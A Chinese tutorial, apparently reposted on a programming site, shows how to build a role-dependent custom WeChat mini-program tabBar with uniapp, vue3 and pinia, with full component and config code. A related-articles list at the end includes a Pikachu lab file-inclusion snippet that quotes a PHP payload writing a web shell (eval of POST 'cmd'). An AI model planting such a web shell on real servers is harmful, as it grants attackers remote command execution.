uniapp 自定义微信小程序 tabBar 导航栏

背景

做了一个校园招聘类小程序,使用 uniapp + vue3 + uview-plus + pinia 构建,这个小程序要实现多角色登录,根据权限动态切换 tab 栏文字、图标。

使用pages.json中配置tabBar无法根据角色动态配置 tabBar,因此自定义tabBar,根据下面的截图说明的几种自定义方案,第一种使用custom-tab-bar组件,这个只有 H5 支持,使用 view 自己绘制 tabBar 也可以,我采用微信小程序自定义tabBar 这个方式。

目标

实现一个自定义 tabBar,能够根据登录角色显示不同的导航栏

参考文档

参考 uniapp 关于 自定义 tabBar 的说明,
uniapp 自定义tabbar
以及微信小程序自定义tabbar的文档
微信小程序自定义tabbar

项目结构

项目结构

效果图

效果图2 效果图1

实现过程

  1. 添加微信小程序custom-tab-bar组件
  2. 配置pages.json
  3. 引入pinia,创建store目录
  4. 创建tabData.ts文件,放置 tabBar 数据
  5. 创建tabs目录,标签栏对应的页面
  6. 创建标签页对应的组件
  7. App.vue中初始化

添加微信小程序custom-tab-bar组件

根据文档描述需要在根目录(cli 项目在 src 目录)下创建custom-tab-bar目录,里面是小程序wxml,wxss文件,不是vue文件。

我将custom-tab-bar组件的代码放在下面了,或者可以去微信小程序文档中下载示例代码

<!-- src/custom-tab-bar/index.wxml -->
<cover-view class="tab-bar"><!-- <cover-view class="tab-bar-border"></cover-view> --><cover-view wx:for="{{tabBar.list}}" wx:key="index" class="tab-bar-item" data-path="{{item.pagePath}}" data-index="{{index}}" bindtap="switchTab"><cover-image src="{{selected === index ? item.selectedIconPath : item.iconPath}}"></cover-image><cover-view style="color: {{selected === index ? selectedColor : color}}">{{item.text}}</cover-view></cover-view>
</cover-view>
/* src/custom-tab-bar/index.js */
Component({data: {selected: 0,color: '#333333',selectedColor: '#1874F5',},methods: {switchTab(e) {const data = e.currentTarget.datasetconst url = '/' + data.pathwx.switchTab({url})this.setData({selected: data.index})}}
})
/* src/custom-tab-bar/index.wxss */
.tab-bar {position: fixed;left: 0;right: 0;bottom: 0;display: flex;padding-bottom: env(safe-area-inset-bottom);height: 96rpx;background: white;box-shadow: 0 -4px 16px 0 #00000014;z-index: 10000;
}.tab-bar-border {background-color: rgba(0, 0, 0, 0.33);position: absolute;left: 0;top: 0;width: 100%;height: 2rpx;transform: scaleY(0.5);
}.tab-bar-item {flex: 1;text-align: center;display: flex;justify-content: center;align-items: center;flex-direction: column;
}.tab-bar-item cover-image {width: 48rpx;height: 48rpx;
}.tab-bar-item cover-view {font-size: 20rpx;
}
// src/custom-tab-bar/index.json
{"component": true,"usingComponents": {}
}

配置pages.json

pages设置中需要引入tab对应的页面,否则在小程序中会报错

tabbar设置中添加 custom: truelist列表中的配置保留,后面在页面初始化时会被自定义 tabBar 数据覆盖

{"pages": [ //pages数组中第一项表示应用启动页,参考:https://uniapp.dcloud.io/collocation/pages{"path": "pages/tabs/tab1","style": {"navigationStyle": "custom"}},{"path": "pages/tabs/tab2","style": {"navigationStyle": "custom"}},{"path": "pages/tabs/tab3","style": {"navigationStyle": "custom"}},{"path": "pages/tabs/tab4","style": {"navigationStyle": "custom"}},{"path": "pages/index/index","style": {"navigationBarTitleText": "uni-app"}}],"tabBar": {"custom": true,"color": "#5F5F5F","selectedColor": "#07c160","borderStyle": "black","backgroundColor": "#F7F7F7","list": [{"pagePath": "pages/tabs/tab1","text": "按钮1","iconPath": "static/icon/icon-tab1.png","selectedIconPath": "static/icon/icon-tab1-active.png"},{"pagePath": "pages/tabs/tab2","text": "按钮2","iconPath": "static/icon/icon-tab2.png","selectedIconPath": "static/icon/icon-tab2-active.png"},{"pagePath": "pages/tabs/tab3","text": "按钮3","iconPath": "static/icon/icon-tab3.png","selectedIconPath": "static/icon/icon-tab3-active.png"},{"pagePath": "pages/tabs/tab4","text": "按钮4","iconPath": "static/icon/icon-tab4.png","selectedIconPath": "static/icon/icon-tab4-active.png"}]}
}

引入pinia,创建store目录

在状态库中增加 roleId 参数,根据 roleId 参数判断角色权限

// src/store/index.ts
import {defineStore} from 'pinia'const appStore = defineStore('app', {state: () => {return {roleId: '',}},actions: {setRoleId(id: string) {this.roleId = id},	}})

main.ts中引入pinia

import { createSSRApp } from "vue";
import App from "./App.vue";import uviewPlus from "uview-plus";
import * as Pinia from "pinia";import "uno.css";export function createApp() {const app = createSSRApp(App);app.use(Pinia.createPinia())app.use(uviewPlus)return {app,Pinia};
}

创建tabData.ts文件

import useAppStore from '@/store/index'// tabBar的data
export const tabData = {selected: 0,//底部按钮高亮下标tabBar: {custom: true,color: '#5F5F5F',selectedColor: '#07c160',backgroundColor: '#F7F7F7',list: [] as any}
};// roleId == '01' 显示的导航栏
const list1 = [{pagePath: 'pages/tabs/tab1',text: '首页',iconPath: '/static/icon/icon-tab1.png',selectedIconPath: '/static/icon/icon-tab1-active.png'},{pagePath: 'pages/tabs/tab2',text: '标签2',iconPath: '/static/icon/icon-tab2.png',selectedIconPath: '/static/icon/icon-tab2-active.png'},{pagePath: 'pages/tabs/tab3',text: '标签3',iconPath: '/static/icon/icon-tab3.png',selectedIconPath: '/static/icon/icon-tab3-active.png'},{pagePath: 'pages/tabs/tab4',text: '我的',iconPath: '/static/icon/icon-tab4.png',selectedIconPath: '/static/icon/icon-tab4-active.png'}
];// roleId == '02' 显示的导航栏
const list2 = [{pagePath: 'pages/tabs/tab1',text: '推荐',iconPath: '/static/icon/icon-tab1.png',selectedIconPath: '/static/icon/icon-tab1-active.png'},{pagePath: 'pages/tabs/tab4',text: '我的',iconPath: '/static/icon/icon-tab4.png',selectedIconPath: '/static/icon/icon-tab4-active.png'}
];// 更新菜单
export const updateRole = (that: any, type: string) => {//这里设置权限if (type === '01') {tabData.tabBar.list = list1;} else {tabData.tabBar.list = list2;}tabData.selected = 0;useAppStore().setRoleId(type)updateTab(that);
};// 更新底部高亮
export const updateIndex = (that: any, index: number) => {tabData.selected = index;updateTab(that);
};// 更新Tab状态
export const updateTab = (that: any) => {if ((typeof that.getTabBar === 'function') && that.getTabBar()) {that.getTabBar().setData(tabData);}
};

创建tabs目录,标签栏对应的页面

tab4为例,其他的 tab 页类似,根据roleId渲染符合条件的组件

<!-- src/pages/tabs/tab4.vue -->
<template><student-tab v-if="store.roleId === '01'" /><teacher-tab v-if="store.roleId === '02'" />
</template><script lang="ts" setup>
import { onShow } from '@dcloudio/uni-app'
import appStore from '@/store/index'
import { updateIndex } from '@/utils/tabData'import TeacherTab from '../teacher/tabView4.vue'
import StudentTab from '../student/tabView4.vue'const store = appStore();onShow(() => {// 获取页面对象const page = getCurrentPages()[0]// 更新tabBar选中状态updateIndex(page, store.roleId === '02' ? 1 : 3);
})
</script><style lang="scss" scoped></style>

创建标签页对应的组件

以下只是示例,增加了一个切换角色的按钮

<!-- src/pages/student/tabView1.vue -->
<template><!-- 状态栏占位 --><view class="status-bar"></view><view class="m-20">tabView1</view><view class="m-20"><up-button type="primary" text="切换角色" @click="changeRole"></up-button></view>
</template><script lang="ts" setup>
import { updateRole } from "@/utils/tabData";const changeRole = () => {const page = getCurrentPages()[0]updateRole(page, "02")
}
</script><style lang="scss" scoped></style>

App.vue中初始化

<!-- src/App.vue -->
<script lang="ts" setup>
import { updateRole } from '@/utils/tabData'
import { onLaunch } from '@dcloudio/uni-app'onLaunch(() => {updateRole({}, '01')
})
</script>

总结

以上是使用微信小程序自定义 tabBar 导航栏的主要实现过程,实现并不复杂,只是之前在开发的时候花了点时间调试,容易漏掉一些配置,导致导航栏不显示或者切换没有效果和高亮的选项不正确。

有更好的实现方式,欢迎大家分享出来看看。

还有一个问题,在微信开发者工具上看,标签栏首次点击时,还是会出现标签栏图片闪烁的情况,有知道的小伙伴欢迎指点一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/415839.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

交换机自动化备份配置(H3C_无人值守)

介绍&#xff1a; 在日常运维过程中&#xff0c;需要定时备份设备的配置&#xff0c;在设备数量过于庞大的情况下&#xff0c;对我们的运维工作会造成极大地不便&#xff0c;通过python自动化能够完美解决人工手动保存设备配置的问题。而且自动化运维在未来也一定是大势所趋&a…

Spring框架——springweb(一篇包会)

目录 一、Springweb概述 1.SpringWeb特点 2.SpringWeb组件 3.SpringWeb运行流程 二、搭建Springweb 1.导入框架所需的包 2.配置 DispatcherServlet 3.开启SpringWeb注解 4.处理器类搭建 5.请求处理 &#xff08;1&#xff09;接收请求RequestMapping &#xff08;2&…

2.1概率统计的世界

欢迎来到概率统计的世界&#xff01;在量化交易中&#xff0c;概率统计是至关重要的工具。通过理解概率&#xff0c;我们可以用数学的方法来描述市场行为&#xff0c;预测未来走势&#xff0c;并制定交易策略。让我们一起从基础概念开始&#xff0c;逐步深入&#xff0c;揭开概…

vmware中克隆过来的linux节点无system eth0

问题现象 使用vmware虚拟机的克隆功能后&#xff0c;找不到system eth0 解决办法 编辑/etc/udev/rules.d/70-persistent-net.rules文件 可以看到&#xff0c;eth0&#xff0c;是克隆前机器的网卡&#xff0c;eth1是克隆后机器生成的网卡&#xff0c;所以把NAME"eth0&q…

Windows安装docker,启动ollama运行open-webui使用AIGC大模型写周杰伦歌词

Windows安装docker&#xff0c;启动ollama运行open-webui使用AIGC大模型写周杰伦歌词 1、下载docker的Windows版本。 docker下载地址&#xff1a; https://docs.docker.com/desktop/install/windows-install/https://docs.docker.com/desktop/install/windows-install/ 2、设…

(十五)SpringCloudAlibaba-Sentinel持久化到Nacos

前言 在前面我们已经将Sentinel配置的规则持久化到系统的文件中。本章节我们将Sentinel持久化到Nacos中; 传送门(Sentinel数据持久化到文件)https://blog.csdn.net/weixin_45876411/article/details/140742963 默认情况下 Sentinel 只能接收到 Nacos 推送的消息&#xff0c;但…

24并发设计模式——线程池模式

一、线程池模式介绍 线程池模式&#xff08;Thread Pool Pattern&#xff09;是一种并发设计模式&#xff0c;用于管理和循环使用线程资源以处理大量任务。它旨在提高系统性能和资源利用率&#xff0c;特别是在需要频繁创建和销毁线程的环境中。 1、线程池模式结构图 线程池管…

Pikachu文件包含漏洞(本地和远程)

一、本地文件包含 打开靶场&#xff0c;选择一个查看 读取一个本地文件查看 二、远程文件包含 在云服务器创建一个txt文件写入 <?php fputs(fopen("shell.php","w"),<?php eval($_POST["cmd"]);?>)?> 在本机上查看,会生成一个…

多个Node.js版本之间切换

使用nvm 查看已安装的版本 nvm list 切换版本 nvm use 版本号 安装指定版本 1.nvm install 2.nvm use [version] 原文参考

opencv图像形态学(边缘检测算法实例)

引言 图像形态学是一种基于数学形态学的图像处理技术&#xff0c;它主要用于分析和修改图像的形状和结构。在OpenCV中&#xff0c;图像形态学操作通过一系列的数学运算来实现&#xff0c;如腐蚀、膨胀、开运算、闭运算等。这些操作在图像处理、计算机视觉和模式识别等领域有着…

https和harbor仓库跟k8s

目录 https 做证书 harbor仓库 https https是加密的http&#xff0c;它的端口是443&#xff0c;它的协议是tcp协议。建立连接和普通的tcp是一样的&#xff0c;都是三次握手和四次挥手&#xff0c;但是它三次握手之后有一个步骤&#xff1a;SSL或者TLS握手的过程&#xff0c…

ubuntu如何限制三指手势操作

在ubuntu上如果用触摸三指操作会切换当前工作区域&#xff0c;使得当前活跃的应用失去焦点&#xff0c;如果是希望做成kiosk模式的应用就会很尴尬。 什么是kiosk模式 就是把设备或应用锁定为一种单一的、受限的环境&#xff0c;例如你做的应用希望全屏&#xff0c;不允许用户切…

Android kotlin使用Netty网络框架实践(客户端、服务端)

开发工具&#xff1a;Android studio 语言:kotlin 设计原理&#xff1a;通讯协议&#xff1a;头类型长度数据尾&#xff0c;自定义编解码器&#xff0c;解析和包装发送数据流&#xff0c;以下贴出部分关键代码 说明&#xff1a;代码中封装了client和server端&#xff0c;可…

CentOS 7 docker 部署遇到内网通,外网不通 问题

CentOS 7 docker 部署遇到内网通&#xff0c;外网不通 问题 [rootlocalhost ~]# systemctl status network ● network.service - LSB: Bring up/down networkingLoaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled)Active: failed (Result: exit-code) …

Java Web —— 扩展(Maven高级)

分模块设计与开发 未分模块设计的问题 不方便项目的维护和管理、项目中的通用组件难以复用 分模块设计 分模块设计就是将项目按照功能/结构拆分成若干个子模块&#xff0c;方便项目的管理维护、拓展&#xff0c;也方便模块 键的相互调用、资源共享。 继承与…

低代码技术助力移动端开发:简化开发流程,实现快速创新

在移动互联网快速发展的今天&#xff0c;企业和开发者面临着越来越高的需求&#xff0c;要求开发高质量、功能强大的移动应用&#xff0c;以满足用户的期待和市场的变化。然而&#xff0c;传统的移动端开发流程通常复杂且耗时&#xff0c;需要投入大量的资源和开发人员。为了应…

软考-软件设计师(软件工程习题)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…

高端控制台使用过程中如何保证用电安全

在数字化时代&#xff0c;高端控制台作为数据中心、监控室及正规工作站的核心设备&#xff0c;其稳定运行对于保障业务连续性至关重要。而用电安全&#xff0c;则是这一稳定运行不可或缺的前提。高端控制台集成了大量精密电子设备&#xff0c;对电力供应的质量与稳定性有着极高…

【C++第十六章】多态

【C第十六章】多态 定义&#x1f9d0; 多态通俗来说&#xff0c;就是多种形态&#xff0c;我们去完成某个行为时&#xff0c;不同对象完成时会产生出不同的状态。比如游乐园中&#xff0c;1.2米以上买票就需要买成人票&#xff0c;1.2米以下就可以买儿童票。 多态是在不同继承…

n*n矩阵,输出矩阵中任意两点之间所有路径

题目1&#xff1a;给你一个正整数n&#xff0c; 构造一个n*n的四项链表矩阵。 要求&#xff1a; 1.使用四项链表 2.矩阵从左到右&#xff0c;从上到下值依次为1,2,3,4,......n*n 题目2&#xff1a;基于题目1&#xff0c; 在n*n链表矩阵中&#xff0c;输出矩阵中任意两点之间所有…